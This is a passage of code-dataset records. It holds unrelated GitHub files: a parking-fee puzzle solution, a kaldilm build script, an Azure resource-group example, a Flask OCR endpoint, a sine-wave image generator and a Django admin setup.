"usage_type": "name"}, {"api_name": "pygame.Surface", "line_number": 143, "usage_type": "name"}, {"api_name": "Classes.DeadBot", "line_number": 147, "usage_type": "name"}]}
{"seq_id": "38952070861", "text": "from collections import defaultdict\nimport math\n\n\ndef solution(fees, records):\n    answer = []\n\n    record_dict = defaultdict(list)\n    car_num = defaultdict(list)\n\n    for element in records:\n        now_time, now_car, now_statue = element.split()\n\n        car_num[now_car] = [0, 0]\n\n        convert_time = int(now_time.split(\":\")[0]) * 60 + int(now_time.split(\":\")[1])\n\n        if now_statue == \"IN\":\n            record_dict[now_car].append(convert_time)\n        else:\n            record_dict[now_car].append(convert_time)\n\n    for key in record_dict.keys():\n        if len(record_dict[key]) % 2 != 0:\n            record_dict[key].append(1439)\n\n        for i in range(0, len(record_dict[key]), 2):\n            sum_time = record_dict[key][i + 1] - record_dict[key][i]\n            car_num[key][0] += sum_time\n\n    for key in car_num.keys():\n        if car_num[key][0] <= fees[0]:\n            car_num[key][1] = fees[1]\n        else:\n            now_fee = fees[1]\n            last_time = math.ceil((car_num[key][0] - fees[0]) / fees[2])\n            now_fee += last_time * fees[3]\n            car_num[key][1] = now_fee\n\n    unsorted_arr = []\n\n    for key in car_num.keys():\n        unsorted_arr.append([int(key), car_num[key][1]])\n\n    unsorted_arr.sort()\n\n    for element in unsorted_arr:\n        answer.append(element[1])\n\n    return answer\n\n\nif __name__ == \"__main__\":\n    print(solution([180, 5000, 10, 600],\n                   [\"05:34 5961 IN\", \"06:00 0000 IN\", \"06:34 0000 OUT\", \"07:59 5961 OUT\", \"07:59 0148 IN\",\n                    \"18:59 0000 IN\", \"19:09 0148 OUT\", \"22:59 5961 IN\", \"23:00 5961 OUT\"]), [14600, 34400, 5000])\n    print(solution([120, 0, 60, 591],\n                   [\"16:00 3961 IN\", \"16:00 0202 IN\", \"18:00 3961 OUT\", \"18:00 0202 OUT\", \"23:58 3961 IN\"]), [0, 591])\n    print(solution([1, 461, 1, 10], [\"00:00 1234 IN\"]), [14841])\n", "repo_name": "DonghakPark/Problem-Solving", "sub_path": "Python/other/[K]3.py", "file_name": "[K]3.py", "file_ext": "py", "file_size_in_byte": 1853, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.defaultdict", "line_number": 8, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 9, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "73381069988", "text": "import glob\nimport os\nimport platform\nimport re\nimport shutil\nimport subprocess\nimport sys\n\nimport setuptools\nfrom setuptools.command.build_ext import build_ext\n\ncur_dir = os.path.dirname(os.path.abspath(__file__))\n\n\ndef is_windows():\n    return platform.system() == \"Windows\"\n\n\ndef cmake_extension(name, *args, **kwargs) -> setuptools.Extension:\n    kwargs[\"language\"] = \"c++\"\n    sources = []\n    return setuptools.Extension(name, sources, *args, **kwargs)\n\n\nclass BuildExtension(build_ext):\n    def build_extension(self, ext: setuptools.extension.Extension):\n        build_dir = self.build_temp\n        os.makedirs(build_dir, exist_ok=True)\n\n        os.makedirs(self.build_lib, exist_ok=True)\n\n        cmake_args = os.environ.get(\"KALDILM_CMAKE_ARGS\", \"\")\n        make_args = os.environ.get(\"KALDILM_MAKE_ARGS\", \"\")\n        system_make_args = os.environ.get(\"MAKEFLAGS\", \"\")\n\n        if cmake_args == \"\":\n            cmake_args = \"-DCMAKE_BUILD_TYPE=Release\"\n\n        if make_args == \"\" and system_make_args == \"\":\n            print(\"For fast compilation, run:\")\n            print('export KALDILM_MAKE_ARGS=\"-j\"; python setup.py install')\n            make_args = \" -j4 \"\n            print(\"Setting make_args to '-j4'\")\n\n        if \"PYTHON_EXECUTABLE\" not in cmake_args:\n            print(f\"Setting PYTHON_EXECUTABLE to {sys.executable}\")\n            cmake_args += f\" -DPYTHON_EXECUTABLE={sys.executable}\"\n\n        if not is_windows():\n            ret = os.system(\n                f\"cd {build_dir}; cmake {cmake_args} {cur_dir}; make -j _kaldilm\"\n            )\n            if ret != 0:\n                raise Exception(\n                    \"\\nBuild kaldilm failed. Please check the error message.\\n\"\n                    \"You can ask for help by creating an issue on GitHub.\\n\"\n                    \"\\nClick:\\n    https://github.com/csukuangfj/kaldilm/issues/new\\n\"\n                )\n            lib_so = glob.glob(f\"{build_dir}/lib/*.so*\")\n            for so in lib_so:\n                print(f\"Copying {so} to {self.build_lib}/\")\n                shutil.copy(f\"{so}\", f\"{self.build_lib}/\")\n\n            # macos\n            # also need to copy *fst*.dylib\n            lib_so = glob.glob(f\"{build_dir}/lib/*.dylib*\")\n            for so in lib_so:\n                print(f\"Copying {so} to {self.build_lib}/\")\n                shutil.copy(f\"{so}\", f\"{self.build_lib}/\")\n            return\n        # for windows\n\n        build_cmd = f\"\"\"\n            cmake {cmake_args} -B {self.build_temp} -S {cur_dir}\n            cmake --build {self.build_temp} --target _kaldilm --config Release -- -m\n        \"\"\"\n        print(f\"build command is:\\n{build_cmd}\")\n\n        ret = os.system(f\"cmake {cmake_args} -B {self.build_temp} -S {cur_dir}\")\n        if ret != 0:\n            raise Exception(\"Failed to build kaldilm\")\n        ret = os.system(\n            f\"cmake --build {self.build_temp} --target _kaldilm --config Release -- -m\"\n        )\n        if ret != 0:\n            raise Exception(\"Failed to build kaldilm\")\n\n        # bin/Release/_kaldilm.cp38-win_amd64.pyd\n        lib_so = glob.glob(f\"{self.build_temp}/**/*.pyd\", recursive=True)\n        for so in lib_so:\n            print(f\"Copying {so} to {self.build_lib}/\")\n            shutil.copy(f\"{so}\", f\"{self.build_lib}/\")\n\n        # lib/Release/{_kaldilm, openfst}.lib\n        lib_so = glob.glob(f\"{self.build_temp}/**/*.lib\", recursive=True)\n        for so in lib_so:\n            print(f\"Copying {so} to {self.build_lib}/\")\n            shutil.copy(f\"{so}\", f\"{self.build_lib}/\")\n\n\ndef read_long_description():\n    with open(\"README.md\", encoding=\"utf8\") as f:\n        readme = f.read()\n    return readme\n\n\ndef get_package_version():\n    with open(\"CMakeLists.txt\") as f:\n        content = f.read()\n\n    latest_version = re.search(r\"set\\(kaldilm_VERSION (.*)\\)\", content).group(1)\n    latest_version = latest_version.strip('\"')\n    return latest_version\n\n\npackage_name = \"kaldilm\"\n\nsetuptools.setup(\n    name=package_name,\n    version=get_package_version(),\n    author=\"Fangjun Kuang\",\n    author_email=\"csukuangfj@gmail.com\",\n    package_dir={\n        package_name: \"kaldilm/python/kaldilm\",\n    },\n    packages=[package_name],\n    url=\"https://github.com/csukuangfj/kaldilm\",\n    long_description=read_long_description(),\n    long_description_content_type=\"text/markdown\",\n    ext_modules=[cmake_extension(\"_kaldilm\")],\n    cmdclass={\"build_ext\": BuildExtension},\n    zip_safe=False,\n    classifiers=[\n        \"Programming Language :: C++\",\n        \"Programming Language :: Python\",\n        \"Topic :: Scientific/Engineering :: Artificial Intelligence\",\n    ],\n    license=\"Apache licensed, as found in the LICENSE file\",\n)\n", "repo_name": "csukuangfj/kaldilm", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 4663, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 37, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 12, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 16, "usage_type": "call"}, {"api_name": "setuptools.Extension", "line_number": 22, "usage_type": "call"}, {"api_name": "setuptools.Extension", "line_number": 19, "usage_type": "attribute"}, {"api_name": "setuptools.command.build_ext.build_ext", "line_number": 25, "usage_type": "name"}, {"api_name": "setuptools.extension", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 28, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 30, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 32, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 33, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 34, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 34, "usage_type": "attribute"}, {"api_name": "sys.executable", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sys.executable", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 50, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 59, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 62, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 66, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 69, "usage_type": "call"}, {"api_name": "os.system", "line_number": 79, "usage_type": "call"}, {"api_name": "os.system", "line_number": 82, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 89, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 92, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 95, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 98, "usage_type": "call"}, {"api_name": "re.search", "line_number": 111, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 118, "usage_type": "call"}]}
{"seq_id": "34277351109", "text": "import os\nimport datetime\n\nimport setpath\n\nimport solver.v1.tables.lp_table as lp_table1\nimport solver.v1.tables.make_table as mt\nimport solver.v1.tables.tables as cb\nimport utils.scan.tabholder as tabh\nimport utils.logging as log\nimport solver.v2.tables.lp_table as lp_table2\n\nfrom version import *\n\nimport probspec as ps\n\nimport config # Carlos edit\n\nif version==1:\n    tabfilename=mt.get_filename(float(ps.dim-2)/2, config.nmax, config.mmax)\nelse:\n    tabfilename='../tables/eps'+str(float(ps.dim-2)/2)+'n'\\\n            +str(config.nmax)+'m'+str(config.mmax)+'.txt'\n\ndef checktable():\n    if version==1:\n        #tabfilename=mt.get_filename(float(ps.dim-2)/2, config.nmax, config.mmax)\n        if not os.path.isfile(tabfilename):\n            mt.get_table(float(ps.dim-2)/2, config.nmax,config.mmax,make_only=False)\n\ndef loadtable():\n    if version==1:\n        #tabfilename=mt.get_filename(float(dim-2)/2, nmax, mmax)\n        if not os.path.isfile(tabfilename):\n            mt.get_table(float(dim-2)/2, nmax,mmax,make_only=False)\n        tab = cb.CB_Table(FILE = tabfilename)\n\ndef gettable(sig):\n    if version==1:\n        #tabfilename=mt.get_filename(float(dim-2)/2, nmax, mmax)\n        cbtab = tabh.get_tabfile(tabfilename)\n        sigmatab = cb.Sigma_Table(ds=sig, cbtab = cbtab)\n        cblen = sigmatab.CBlen\n        lptab =lp_table1.LP_Table(sigmatab)\n        return cblen,lptab\n    else:\n        #lptab = lp_table2.LP_Table(\"../tables/ds-0.5182-n3-m1.txt\") \n        t0 = datetime.datetime.now()\n        lptab = lp_table2.LP_Table(tabfilename, pfwrap(sig))\n        t1 = datetime.datetime.now()\n        tm=(t1-t0).seconds+((t1-t0).microseconds*1e-6)\n        print ('time loading/convolving table: %s ' %tm )\n        return lptab.CBlen,lptab\n        \n", "repo_name": "cargicar/Primalboot_py39", "sub_path": "py/table_funcs.py", "file_name": "table_funcs.py", "file_ext": "py", "file_size_in_byte": 1757, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "solver.v1.tables.make_table.get_filename", "line_number": 20, "usage_type": "call"}, {"api_name": "solver.v1.tables.make_table", "line_number": 20, "usage_type": "name"}, {"api_name": "probspec.dim", "line_number": 20, "usage_type": "attribute"}, {"api_name": "config.nmax", "line_number": 20, "usage_type": "attribute"}, {"api_name": "config.mmax", "line_number": 20, "usage_type": "attribute"}, {"api_name": "probspec.dim", "line_number": 22, "usage_type": "attribute"}, {"api_name": "config.nmax", "line_number": 23, "usage_type": "attribute"}, {"api_name": "config.mmax", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "solver.v1.tables.make_table.get_table", "line_number": 29, "usage_type": "call"}, {"api_name": "solver.v1.tables.make_table", "line_number": 29, "usage_type": "name"}, {"api_name": "probspec.dim", "line_number": 29, "usage_type": "attribute"}, {"api_name": "config.nmax", "line_number": 29, "usage_type": "attribute"}, {"api_name": "config.mmax", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "solver.v1.tables.make_table.get_table", "line_number": 35, "usage_type": "call"}, {"api_name": "solver.v1.tables.make_table", "line_number": 35, "usage_type": "name"}, {"api_name": "solver.v1.tables.tables.CB_Table", "line_number": 36, "usage_type": "call"}, {"api_name": "solver.v1.tables.tables", "line_number": 36, "usage_type": "name"}, {"api_name": "utils.scan.tabholder.get_tabfile", "line_number": 41, "usage_type": "call"}, {"api_name": "utils.scan.tabholder", "line_number": 41, "usage_type": "name"}, {"api_name": "solver.v1.tables.tables.Sigma_Table", "line_number": 42, "usage_type": "call"}, {"api_name": "solver.v1.tables.tables", "line_number": 42, "usage_type": "name"}, {"api_name": "solver.v1.tables.lp_table.LP_Table", "line_number": 44, "usage_type": "call"}, {"api_name": "solver.v1.tables.lp_table", "line_number": 44, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "attribute"}, {"api_name": "solver.v2.tables.lp_table.LP_Table", "line_number": 49, "usage_type": "call"}, {"api_name": "solver.v2.tables.lp_table", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "attribute"}]}
{"seq_id": "5616834971", "text": "# Example initially from\n# https://github.com/Azure-Samples/resource-manager-python-resources-and-groups\n\nimport os\nimport json\nfrom datetime import datetime\nfrom azure.common.credentials import ServicePrincipalCredentials\nfrom azure.mgmt.resource import ResourceManagementClient\n\n# Variables\nGROUP_LOCATION = \"westus\"\nGROUP_NAME = \"python-sample-group\"\nSECRET_FILENAME = \"secrets.json\"\n\n\n# Read Data from JSON Secret file and set env variables\nwith open(SECRET_FILENAME) as json_data_file:\n    secretdata = json.load(json_data_file)\nos.environ[\"AZURE_TENANT_ID\"] = secretdata['tenant']\nos.environ[\"AZURE_CLIENT_ID\"] = secretdata['appId']\nos.environ[\"AZURE_CLIENT_SECRET\"] = secretdata['password']\nos.environ[\"AZURE_SUBSCRIPTION_ID\"] = secretdata['subscription_id']\n\n# Manage resources and resource groups - create, update and delete a resource group,\n# deploy a solution into a resource group, export an ARM template. Create, read, update\n# and delete a resource\n#\n# This script expects that the following environment vars are set:\n#\n# AZURE_TENANT_ID: with your Azure Active Directory tenant id or domain\n# AZURE_CLIENT_ID: with your Azure Active Directory Application Client ID\n# AZURE_CLIENT_SECRET: with your Azure Active Directory Application Secret\n# AZURE_SUBSCRIPTION_ID: with your Azure Subscription Id\n#\n\n\ndef run_example():\n    \"\"\"Resource Group management example.\"\"\"\n    #\n    # Create the Resource Manager Client with an Application (service principal) token provider\n    #\n    subscription_id = os.environ.get(\n        \"AZURE_SUBSCRIPTION_ID\", os.environ[\"AZURE_SUBSCRIPTION_ID\"]\n    )  # your Azure Subscription Id\n\n    credentials = ServicePrincipalCredentials(\n        client_id=os.environ[\"AZURE_CLIENT_ID\"],\n        secret=os.environ[\"AZURE_CLIENT_SECRET\"],\n        tenant=os.environ[\"AZURE_TENANT_ID\"],\n    )\n\n    client = ResourceManagementClient(credentials, subscription_id)\n\n    #\n    # Managing resource groups\n    #\n    resource_group_params = {\"location\": GROUP_LOCATION}\n\n    # List Resource Groups\n    print(\"List Resource Groups\")\n    for item in client.resource_groups.list():\n        print_item(item)\n\n    # Create Resource group\n    print(\"Create Resource Group\")\n    print_item(\n        client.resource_groups.create_or_update(\n            GROUP_NAME, resource_group_params)\n    )\n\n    # Modify the Resource group\n    print(\"Modify Resource Group\")\n    resource_group_params.update(tags={\"hello\": \"world\"})\n    print_item(\n        client.resource_groups.create_or_update(\n            GROUP_NAME, resource_group_params)\n    )\n\n    # Create a Key Vault in the Resource Group\n    print(\"Create a Key Vault via a Generic Resource Put\")\n    key_vault_params = {\n        \"location\": GROUP_LOCATION,\n        \"properties\": {\n            \"sku\": {\"family\": \"A\", \"name\": \"standard\"},\n            \"tenantId\": os.environ[\"AZURE_TENANT_ID\"],\n            \"accessPolicies\": [],\n            \"enabledForDeployment\": True,\n            \"enabledForTemplateDeployment\": True,\n            \"enabledForDiskEncryption\": True,\n        },\n    }\n    client.resources.create_or_update(\n        GROUP_NAME,\n        \"Microsoft.KeyVault\",\n        \"\",\n        \"vaults\",\n        # Suffix random string to make vault name unique\n        \"azureSampleVault\" + datetime.utcnow().strftime(\"-%H%M%S\"),\n        \"2015-06-01\",\n        key_vault_params,\n    )\n\n    # List Resources within the group\n    print(\"List all of the resources within the group\")\n    for item in client.resources.list_by_resource_group(GROUP_NAME):\n        print_item(item)\n\n    # Export the Resource group template\n    print(\"Export Resource Group Template\")\n    # print(\n    #     json.dumps(\n    #         client.resource_groups.export_template(\n    #             GROUP_NAME, [\"*\"]) #.template, indent=4\n    #     )\n    # )\n    print(client.resource_groups.export_template(GROUP_NAME, ['*']))\n    print(\"\\n\\n\")\n\n    # Delete Resource group and everything in it\n    print(\"Delete Resource Group\")\n    delete_async_operation = client.resource_groups.delete(GROUP_NAME)\n    delete_async_operation.wait()\n    print(\"\\nDeleted: {}\".format(GROUP_NAME))\n\ndef print_item(group):\n    \"\"\"Print a ResourceGroup instance.\"\"\"\n    print(\"\\tName: {}\".format(group.name))\n    print(\"\\tId: {}\".format(group.id))\n    print(\"\\tLocation: {}\".format(group.location))\n    print(\"\\tTags: {}\".format(group.tags))\n    print_properties(group.properties)\n\n\ndef print_properties(props):\n    \"\"\"Print a ResourceGroup properties instance.\"\"\"\n    if props and props.provisioning_state:\n        print(\"\\tProperties:\")\n        print(\"\\t\\tProvisioning State: {}\".format(props.provisioning_state))\n    print(\"\\n\\n\")\n\n\nif __name__ == \"__main__\":\n    run_example()", "repo_name": "lazywinadmin/python", "sub_path": "azure-auth_env_variables/example.py", "file_name": "example.py", "file_ext": "py", "file_size_in_byte": 4696, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 42, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 43, "usage_type": "attribute"}, {"api_name": "azure.common.credentials.ServicePrincipalCredentials", "line_number": 46, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 49, "usage_type": "attribute"}, {"api_name": "azure.mgmt.resource.ResourceManagementClient", "line_number": 52, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 85, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 98, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 98, "usage_type": "name"}]}
{"seq_id": "19388574919", "text": "import os\nfrom PIL import Image\nimport pytesseract\nfrom flask import Flask, request\nfrom flask_cors import CORS\n\napp = Flask(__name__)\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\n\n@app.route(\"/process/\", methods=['POST'])\ndef process_image(language):\n    assert language == request.view_args['language']\n    file = request.files['file']\n    path = os.path.join(\"images/\", file.filename)\n    file.save(path)\n    im = Image.open(path)\n    text = pytesseract.image_to_string(im, lang=language)\n    os.remove(path) # clean up deleting the image\n    return text\n    # return \"existo subio\"\n\n\n# # print(text)\n# with open(  \"text_file/salida.txt\", \"w\") as text_file:\n#     text_file.write(text)\n\nif __name__ == \"__main__\":\n    app.run(debug=True,host=\"0.0.0.0\", port=8080)", "repo_name": "gomezrondon/py-ocr-service", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 785, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.request.view_args", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 16, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 16, "usage_type": "name"}, {"api_name": "pytesseract.image_to_string", "line_number": 17, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "21774734049", "text": "from PIL import Image\nimport numpy as np\n\ndef distance(x, y, ox, oy):\n    return np.sqrt((x-ox)**2 + (y-oy)**2)\n\ndef sin(x):\n    return np.sin(x)\n\ndef zdistance(x, y, origin, factor):\n    return round(distance(x, y, origin[0], origin[1])) % factor\n\ndef colorSin(freq, o, x, y, factor, num):\n    return np.floor((128 + 127 * sin(freq * np.pi*2 * zdistance(x,y,o, factor)/factor))/num)\n\ndef createImg(dim, factor, waves, colorSplit, originSplit):\n    w, h = dim, dim\n    data = np.zeros((w, h, 3), dtype=np.uint8)\n\n    waves = sorted(waves)\n    factor = min(waves)*dim/(2*factor)\n    waveOrigins = [(dim/2, dim/2)] * len(waves)\n    if originSplit == True:\n        if len(waves) == 2:\n            waveOrigins = [(dim/3, dim/2), (2*dim/3, dim/2)]\n        if len(waves) == 3:\n            waveOrigins = [(dim/3, dim/2), (2*dim/3, dim/3), (2*dim/3, 2*dim/3)]\n        if len(waves) == 4:\n            waveOrigins = [(dim/3, dim/3), (dim/3, 2*dim/3), (2*dim/3, dim/3), (2*dim/3, 2*dim/3)]\n\n    colorCount = 2\n    waveCount = 0\n    for wave in waves:\n        for x in range(0, w):\n            for y in range(0, h):\n                if colorSplit:\n                    data[x,y][colorCount] += colorSin(wave, waveOrigins[waveCount], x, y, factor, 1)\n                    data[x,y][colorCount] %= 256\n                else:\n                    v = colorSin(wave, waveOrigins[waveCount], x, y, factor, len(waves))\n                    data[x,y][0] += v\n                    data[x,y][1] += v\n                    data[x,y][2] += v\n        waveCount = waveCount+1\n        colorCount = (colorCount+1)%3\n\n    return data\n\ndef saveImage(dim, factor, waves, filename, colorSplit = False, originSplit = False):\n    data = createImg(dim, factor, waves, colorSplit, originSplit)\n    img = Image.fromarray(data, 'RGB')\n    img.save(filename+'.png')\n\ndef showImage(dim, factor, waves, colorSplit = False, originSplit = False):\n    data = createImg(dim, factor, waves, colorSplit, originSplit)\n    img = Image.fromarray(data, 'RGB')\n    img.show()\n\nintervalRatios = [1, 16/15, 9/8, 6/5, 5/4, 4/3, 7/5, 3/2, 8/5, 5/3, 9/5, 15/8, 2]\nintervalNames = [\"U\", \"mi2\", \"M2\", \"mi3\", \"M3\", \"P4\", \"T\", \"P5\", \"mi6\", \"M6\", \"mi7\", \"M7\", \"O\"]\n\ndef tetImages(dim, factor, base, colorDif = False, originDif = False): \n    for i in range(0, 13):\n        saveImage(dim, factor,[base, base*intervalRatios[i]], intervalNames[i], colorDif, originDif)\n\ndef chordImages(dim, factor, base, colorDif = False, originDif = False):\n    saveImage(dim, factor, [base, base*intervalRatios[4], base*intervalRatios[7]], \"major\", colorDif, originDif)\n    saveImage(dim, factor, [base, base*intervalRatios[3], base*intervalRatios[7]], \"minor\", colorDif, originDif)\n    saveImage(dim, factor, [base, base*intervalRatios[5], base*intervalRatios[7]], \"sus4\", colorDif, originDif)\n    saveImage(dim, factor, [base, base*intervalRatios[2], base*intervalRatios[7]], \"sus2\", colorDif, originDif)\n    saveImage(dim, factor, [base, base*intervalRatios[1], base*intervalRatios[7]], \"phyrgian\", colorDif, originDif)\n    saveImage(dim, factor, [base, base*intervalRatios[6], base*intervalRatios[7]], \"tritone\", colorDif, originDif)\n    \n\ndef arrayFromImage(filename):\n    im = Image.open(filename)\n    return np.array(im)\n\ndef intervalAnalysis(filename):\n    count = 0\n    arr = arrayFromImage(filename)\n    for x in range(0, arr.shape[0]):\n        for y in range(0, arr.shape[1]):\n            if( np.abs(int(arr[x,y][2]) - int(arr[x,y][0])) < 5): #Purple or Black\n                count = count + 1  \n            if( int(arr[x,y][0]) > 0 and int(arr[x,y][2])/int(arr[x,y][0]) < 0.1): #Red\n                count = count + 1     \n            if( int(arr[x,y][2]) > 0 and int(arr[x,y][0])/int(arr[x,y][2]) < 0.1): #Blue\n                count = count - 0\n    return count\n\ntetImages(512, 1, 200, True, False)\n\n#chordImages(512, 1, 200, True, False)\n\n#intervalsAnalysisArray = [intervalAnalysis(intervalNames[0]+\".png\"),intervalAnalysis(intervalNames[1]+\".png\"),intervalAnalysis(intervalNames[2]+\".png\"),intervalAnalysis(intervalNames[3]+\".png\"),intervalAnalysis(intervalNames[4]+\".png\"),intervalAnalysis(intervalNames[5]+\".png\"),intervalAnalysis(intervalNames[6]+\".png\"),intervalAnalysis(intervalNames[7]+\".png\"),intervalAnalysis(intervalNames[8]+\".png\"),intervalAnalysis(intervalNames[9]+\".png\"),intervalAnalysis(intervalNames[10]+\".png\"),intervalAnalysis(intervalNames[11]+\".png\"),intervalAnalysis(intervalNames[12]+\".png\")]\n#print(intervalsAnalysisArray)\n\n#showImage(512, 1, [200, 300], originSplit= False, colorSplit=True)", "repo_name": "jjjpanda/SineWave-Imaging", "sub_path": "waveImgGen.py", "file_name": "waveImgGen.py", "file_ext": "py", "file_size_in_byte": 4541, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.sqrt", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 18, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 51, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 51, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 56, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 56, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 76, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 84, "usage_type": "call"}]}
{"seq_id": "41343106837", "text": "from django.contrib import admin\nfrom django.contrib.admin import widgets\nfrom django.contrib.admin.sites import site\nfrom ...utils.admin import CustomModelAdmin\n\nfrom .models import Room, Timebound, Timetable, Course, School\n\n\n@admin.register(Room)\nclass RoomAdmin(CustomModelAdmin):\n    model = Room\n    \n    raw_id_fields = (\n        \"school\",\n    )\n    list_display = (\n        \"__str__\",\n        \"school\",\n        \"is_active\"\n    )\n    \n    list_filter = (\"is_active\", )\n\n    search_fields = (\n        \"school__name\",\n        \"name\",\n    )\n\n    fieldsets = (\n        (\n            \"Room information\",\n            {\n                \"fields\": (\n                    \"school\",\n                    \"name\",\n                    \"is_active\"\n                )\n            },\n        ),\n        (\n            \"Timestamps\",\n            {\n                \"fields\": (\n                    \"created_at\",\n                    \"updated_at\"\n                )\n            },\n        )\n    )\n    \n    base_read_only_fields = [\"created_at\", \"updated_at\"]\n\n\n@admin.register(Timebound)\nclass TimeboundAdmin(CustomModelAdmin):\n    model = Timebound\n    \n    raw_id_fields = (\n        \"school\",\n    )\n    list_display = (\n        \"__str__\",\n        \"school\",\n        \"from_time\",\n        \"to_time\",\n    )\n\n    search_fields = (\n        \"school__name\",\n        \"from_time\",\n        \"to_time\"\n    )\n\n    fieldsets = (\n        (\n            \"Course post information\",\n            {\n                \"fields\": (\n                    \"school\",\n                    \"from_time\",\n                    \"to_time\",\n                )\n            },\n        ),\n        (\n            \"Timestamps\",\n            {\n                \"fields\": (\n                    \"created_at\",\n                    \"updated_at\"\n                )\n            },\n        )\n    )\n    \n    base_read_only_fields = [\"created_at\", \"updated_at\"]\n\n\n@admin.register(Timetable)\nclass TimetableAdmin(CustomModelAdmin):\n    model = Timetable\n    \n    raw_id_fields = (\n        \"school\",\n        \"course\",\n        \"room\",\n        \"timebound\"\n    )\n    \n    list_display = (\n        \"__str__\",\n        \"school\",\n        \"weekday\",\n        \"course\"\n    )\n\n    search_fields = (\n        \"school__name\",\n        \"room\",\n        \"floor\",\n        \"course__group__code\"\n        \"course__teacher__email\"\n    )\n    \n    list_filter = ('weekday',)\n\n    fieldsets = (\n        (\n            \"Room information\",\n            {\n                \"fields\": (\n                    \"school\",\n                    \"course\",\n                    \"room\",\n                    \"timebound\",\n                    \"weekday\",\n                )\n            },\n        ),\n        (\n            \"Timestamps\",\n            {\n                \"fields\": (\n                    \"created_at\",\n                    